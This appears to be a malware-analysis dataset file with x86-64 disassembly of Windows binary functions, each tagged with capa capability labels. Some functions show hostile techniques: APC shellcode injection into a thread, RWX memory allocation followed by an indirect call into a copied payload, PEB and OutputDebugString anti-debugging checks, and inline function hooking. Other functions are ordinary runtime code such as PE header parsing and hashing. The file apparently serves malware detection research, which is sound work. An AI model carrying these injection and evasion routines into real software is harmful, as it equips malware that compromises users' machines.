joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14002cbe0]
mov dword [rax], 1
mov rax, qword [0x14002cbf0]
mov dword [rax], 1
mov rax, qword [0x14002cc00]
mov dword [rax], 1
mov rax, qword [0x14002cba0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x14000197b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov dword [rbp - 0xc], 0
mov rax, qword [rbp + 0x20]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400019ee
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._t____VirtualAlloc_Failed_With_Error_:__d__n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x140001a8f
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rcx, [rbp - 0xc]
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp - 8]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x140001a4b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._t____VirtualProtect_Failed_With_Error_:__d__n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x140001a8f
mov rax, qword [rbp - 8]
mov rdx, qword [rbp + 0x10]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rax
test eax, eax
jne 0x140001a8a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._t____QueueUserAPC_Failed_With_Error_:__d__n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x140001a8f
mov eax, 1
add rsp, 0x30
pop rbp
ret
Function at 0x140001a95
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp - 8], 0
mov dword [rbp - 0xc], 0
lea rax, str._i__Creating_Local_Thread
mov rcx, rax
call sym.puts
lea rax, str._i__Sleeping_2s
mov rcx, rax
call sym.puts
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp - 0xc]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.AlertableFunction5]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001b38
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____CreateThread_Failed_With_Error_:__d__n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x140001bd7
mov eax, dword [rbp - 0xc]
mov edx, eax
lea rax, str.___Alertable_Target_Thread_Created_With_Id_:__d__n
mov rcx, rax
call sym.printf
lea rax, str._i__Sleeping_2s
mov rcx, rax
call sym.puts
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, str._i__APC_Injection
mov rcx, rax
call sym.puts
mov rcx, qword [0x1400310a8]
mov rdx, qword [0x1400310a0]
mov rax, qword [rbp - 8]
mov r8, rcx
mov rcx, rax
call sym.RunViaApcInjection
test eax, eax
jne 0x140001bb3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____RunViaApcInjection_failed__error_code:__d_n
mov rcx, rax
call sym.printf
lea rax, str.___DONE
mov rcx, rax
call sym.puts
mov rax, qword [rbp - 8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
add rsp, 0x40
pop rbp
ret

Function at 0x140001f10
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x140002be2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140031168]
test eax, eax
je 0x140002c7a
lea rax, [0x140031140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140031170]
mov qword [rbp - 8], rax
jmp 0x140002c5e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002c52
cmp qword [rbp - 0x10], 0
je 0x140002c52
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002c18
lea rax, [0x140031140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002c7b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002d80
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002da8
mov eax, 0
jmp 0x140002df6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002dd1
mov eax, 0
jmp 0x140002df6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002df1
mov eax, 0
jmp 0x140002df6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140002dfc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002e7a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002e71
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002e71
mov rax, qword [rbp - 8]
jmp 0x140002e8f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002e44
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x180001070
Capabilities:
Check for outputdebugstring error
Check for peb beingdebugged flag
Patch process command line
Print debug messages

Disassembly:
sub rsp, 0x88
mov rax, qword [0x180061018]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x18000119d
test byte [rax + 0xbc], 0x70
jne 0x18000119d
mov ecx, 0x457
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, [0x180056804]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x457
jne 0x18000119d
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x80], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, str.ntdll.dll
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x1800010fd
xor edi, edi
jmp 0x180001110
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 0x30
lea r8, [rsp + 0x30]
mov rbx, rax
xor edx, edx
lea rax, [rsp + 0x68]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call rdi
mov rdx, qword [rsp + 0x38]
lea rax, [rsp + 0x70]
add rdx, 0x50
mov qword [rsp + 0x60], 0xffffffffffffffff
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test byte [rsp + 0x60], 4
mov rdi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x90]
jne 0x18000119d
xor al, al
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180001c50
add rsp, 0x88
ret
mov al, 1
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180001c50
add rsp, 0x88
ret
Function at 0x180001300
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x180061018]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor bpl, bpl
mov word [rsp + 0x20], 0xba49
mov word [rsp + 0x2a], 0xff41
mov rbx, r9
mov qword [rsp + 0x22], r8
mov rdi, rdx
mov dword [rsp + 0x30], 0
mov esi, 0xd
test cl, cl
je 0x1800013a3
test rbx, rbx
je 0x18000136e
mov rcx, qword [r9 + 0x10]
test rcx, rcx
je 0x180001457
mov eax, dword [r9 + 0x18]
test eax, eax
je 0x180001457
mov r8d, eax
call fcn.180002c50
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800013f9
movsd xmm0, qword [rsp + 0x20]
mov bpl, 1
mov eax, dword [rsp + 0x28]
movsd qword [rdi], xmm0
mov dword [rdi + 8], eax
mov byte [rdi + 0xc], 0xe2
jmp 0x1800013f9
test rbx, rbx
je 0x180001457
cmp qword [r9], 0
je 0x180001457
mov eax, dword [r9 + 8]
test eax, eax
je 0x180001457
lea r9, [rsp + 0x30]
mov qword [rsp + 0x60], r14
mov r8d, 0x40
mov edx, eax
mov rcx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800013f4
mov rdx, qword [rbx]
mov r8d, esi
mov rcx, rdi
call fcn.180002c50
mov bpl, 1
mov r14, qword [rsp + 0x60]
cmp qword [0x180061b08], 0
jne 0x180001427
lea rcx, [0x180056820]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtFlushInstructionCache
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180061b08], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, esi
mov rdx, rdi
mov rcx, rax
call qword [0x180061b08]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, bpl
jmp 0x180001459
xor al, al
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180001c50
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x180001480
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x58
call fcn.180001070
test al, al
jne 0x180001581
mov qword [rsp + 0x50], rbx
mov ecx, 0x90936
mov qword [rsp + 0x48], rdi
call fcn.180003f44
mov r8d, 0x4849b
lea rdx, str.PSQRVWUTAPAQARASATAUAVAW
mov rcx, rax
mov rdi, rax
call fcn.180002c50
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x20]
xor eax, eax
mov qword [0x180061ac8], rcx
mov qword [rsp + 0x20], rax
lea r8, [0x1800011c0]
mov qword [rsp + 0x28], rax
mov rdx, rcx
lea rax, [0x180061ad0]
mov dword [0x180061ac0], 1
mov cl, 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0x10
call fcn.180001300
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
mov edx, 0x4849b
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18000156d
mov r8d, 0x4849b
mov rdx, rdi
mov rcx, rax
call fcn.180002c50
test rbx, rbx
setne cl
test cl, cl
je 0x18000156d
call rbx
mov ecx, 0xc350
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [rsp + 0x48]
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x50]
add rsp, 0x58
ret
mov ecx, 0xffffffff
call fcn.1800041e4
int3

Function at 0x1800041e4
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1800040bb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1800040bb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1800040bb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1800040bb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1800040bb
cmp dword [rcx + 0x84], 0xe
jbe 0x1800040bb
cmp dword [rcx + 0xf8], 0
je 0x1800040bb
mov ecx, ebx
call fcn.18000415c
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.180003f4c
cmp dword [rbp + 0x20], 0
je 0x180004108
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180004110
int3
xor r8d, r8d
xor edx, edx
jmp 0x180004054
Function at 0x180001200
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x180061018]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor bpl, bpl
mov word [rsp + 0x20], 0xba49
mov word [rsp + 0x2a], 0xff41
mov rbx, r9
mov qword [rsp + 0x22], r8
mov rdi, rdx
mov dword [rsp + 0x30], 0
mov esi, 0xd
test cl, cl
je 0x1800012a3
test rbx, rbx
je 0x18000126e
mov rcx, qword [r9 + 0x10]
test rcx, rcx
je 0x180001357
mov eax, dword [r9 + 0x18]
test eax, eax
je 0x180001357
mov r8d, eax
call fcn.180002b20
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800012f9
movsd xmm0, qword [rsp + 0x20]
mov bpl, 1
mov eax, dword [rsp + 0x28]
movsd qword [rdi], xmm0
mov dword [rdi + 8], eax
mov byte [rdi + 0xc], 0xe2
jmp 0x1800012f9
test rbx, rbx
je 0x180001357
cmp qword [r9], 0
je 0x180001357
mov eax, dword [r9 + 8]
test eax, eax
je 0x180001357
lea r9, [rsp + 0x30]
mov qword [rsp + 0x60], r14
mov r8d, 0x40
mov edx, eax
mov rcx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800012f4
mov rdx, qword [rbx]
mov r8d, esi
mov rcx, rdi
call fcn.180002b20
mov bpl, 1
mov r14, qword [rsp + 0x60]
cmp qword [0x180061b08], 0
jne 0x180001327
lea rcx, [0x1800567a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtFlushInstructionCache
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180061b08], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, esi
mov rdx, rdi
mov rcx, rax
call qword [0x180061b08]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, bpl
jmp 0x180001359
xor al, al
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180001b20
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret

Function at 0x180001380
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x48
cmp edx, 1
jne 0x180001463
mov qword [rsp + 0x50], rbx
mov ecx, 0x908fa
mov qword [rsp + 0x40], rdi
call fcn.180003e14
mov r8d, 0x4847d
lea rdx, str.PSQRVWUTAPAQARASATAUAVAW
mov rcx, rax
mov rdi, rax
call fcn.180002b20
xor eax, eax
mov dword [0x180061ac0], 1
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea r8, [0x180001070]
lea rax, [0x180061ad0]
mov qword [rsp + 0x38], 0x10
mov qword [rsp + 0x30], rax
mov cl, 1
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, rax
mov qword [0x180061ac8], rax
call fcn.180001200
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
mov edx, 0x4847d
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18000144f
mov r8d, 0x4847d
mov rdx, rdi
mov rcx, rax
call fcn.180002b20
test rbx, rbx
setne cl
test cl, cl
je 0x18000144f
call rbx
mov rbx, qword [rsp + 0x50]
mov eax, 1
mov rdi, qword [rsp + 0x40]
add rsp, 0x48
ret
mov eax, 1
add rsp, 0x48
ret
Function at 0x140045442
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rsi, rdx
cmp dword [rcx], 2
jne 0x1400454f4
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
movabs r8, 0x736f6d6570736575
xor r8, rax
movabs r9, 0x646f72616e646f6d
xor r9, rdx
movabs r10, 0x6c7967656e657261
xor r10, rax
movabs r11, 0x7465646279746573
xor r11, rdx
lea rcx, [rsp + 0x30]
mov qword [rcx], r8
mov qword [rcx + 8], r10
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], r11
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], rdx
xorps xmm0, xmm0
movups xmmword [rcx + 0x30], xmm0
mov qword [rcx + 0x40], 0
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
lea rdx, [rsp + 0x28]
mov qword [rdx], rax
mov r8d, 8
call fcn.1400456a6
test rdi, rdi
je 0x14004556d
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x140045584
movabs rcx, 0x100000001b3
mov rdx, qword [rsi]
xor eax, eax
test rdx, rdx
setne al
mov qword [rsp + 0x30], rax
movabs rax, 0xcbf29ce484222325
xor r8d, r8d
movzx r9d, byte [rsp + r8 + 0x30]
inc r8
xor rax, r9
imul rax, rcx
cmp r8, 8
jne 0x14004551b
test rdx, rdx
je 0x140045679
mov rdx, qword [rsi + 0x10]
test rdx, rdx
je 0x14004569a
mov r8, qword [rsi + 8]
xor r9d, r9d
mov r10, rax
movzx eax, byte [r8 + r9]
xor rax, r10
imul rax, rcx
inc r9
mov r10, rax
cmp rdx, r9
jne 0x140045551
jmp 0x14004569a
movzx eax, byte [rsi + 8]
lea rdx, [rsp + 0x28]
mov qword [rdx], rax
lea rcx, [rsp + 0x30]
mov r8d, 8
call fcn.1400456a6
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
add r8, rcx
rol rcx, 0xd
xor rax, r9
xor rcx, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rax, r8
xor rcx, rdx
rol rdx, 0x20
xor r8, r9
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
add rdx, rax
shl rax, 0x10
xor rax, rdx
shr rax, 0x2b
add rdx, rcx
shr rcx, 0x2f
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x14004569a
movzx edx, byte [rsi + 8]
mov qword [rsp + 0x30], rdx
xor edx, edx
movzx r8d, byte [rsp + rdx + 0x30]
inc rdx
xor rax, r8
imul rax, rcx
cmp rdx, 8
jne 0x140045684
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x14004e2a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x14004e330
cmp r10, r11
jb 0x14004e3a6
cmp r10, rdx
ja 0x14004e3ba
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x14004e332
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x14004e310
jmp 0x14004e394
ja 0x14004e33a
mov r11, r10
cmp rax, r8
jne 0x14004e2d4
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x14004e370
mov rdi, r8
sub ecx, edx
jns 0x14004e38b
jmp 0x14004e396
cmp r8, rsi
je 0x14004e3cb
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x14004e396
xor al, 1
cmp rdi, rsi
jne 0x14004e350
jmp 0x14004e396
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140109b40
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.1401098b0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.5_srcwin.rs
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.140109930
ud2

Function at 0x140051908
Capabilities:
Get common file path

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
lea rdi, [rsp + 0x20]
mov qword [rdi], 0
mov rcx, rdx
xor edx, edx
xor r8d, r8d
mov r9, rdi
call sub.shell32.dll_SHGetKnownFolderPath
mov rcx, qword [rdi]
test eax, eax
je 0x14005193f
call sub.ole32.dll_CoTaskMemFree
mov byte [rsi + 0x18], 2
jmp 0x14005195e
call sub.kernel32.dll_lstrlenW
movsxd r8, eax
mov rdx, qword [rsp + 0x20]
mov rcx, rsi
call fcn.14009dd10
mov rcx, qword [rsp + 0x20]
call sub.ole32.dll_CoTaskMemFree
nop
add rsp, 0x28
pop rdi
pop rsi
ret
Function at 0x140054a4c
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, rdx
mov rdi, rcx
mov rbx, qword [rcx]
xor eax, eax
test rbx, rbx
setne al
lea rdx, [rsp + 0x28]
mov qword [rdx], rax
mov r8d, 8
mov rcx, rsi
call fcn.1400456a6
test rbx, rbx
je 0x140054a96
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
mov rcx, rsi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp fcn.1400456a6
movzx eax, byte [rdi + 8]
lea rdx, [rsp + 0x28]
mov qword [rdx], rax
mov r8d, 8
mov rcx, rsi
call fcn.1400456a6
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret

Function at 0x140054ab9
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rax
movabs rax, 0x100000001b3
mov r9, qword [rcx]
xor r8d, r8d
test r9, r9
setne r8b
mov qword [rsp], r8
mov r8, qword [rdx]
xor r10d, r10d
movzx r11d, byte [rsp + r10]
inc r10
xor r8, r11
imul r8, rax
cmp r10, 8
jne 0x140054adb
test r9, r9
je 0x140054b1e
mov r9, qword [rcx + 0x10]
test r9, r9
je 0x140054b42
mov rcx, qword [rcx + 8]
xor r10d, r10d
movzx r11d, byte [rcx + r10]
xor r11, r8
imul r11, rax
inc r10
mov r8, r11
cmp r9, r10
jne 0x140054b05
jmp 0x140054b45
movzx ecx, byte [rcx + 8]
mov qword [rsp], rcx
xor ecx, ecx
movzx r9d, byte [rsp + rcx]
inc rcx
xor r8, r9
imul r8, rax
cmp rcx, 8
jne 0x140054b28
mov qword [rdx], r8
jmp 0x140054b48
mov r11, r8
mov qword [rdx], r11
pop rax
ret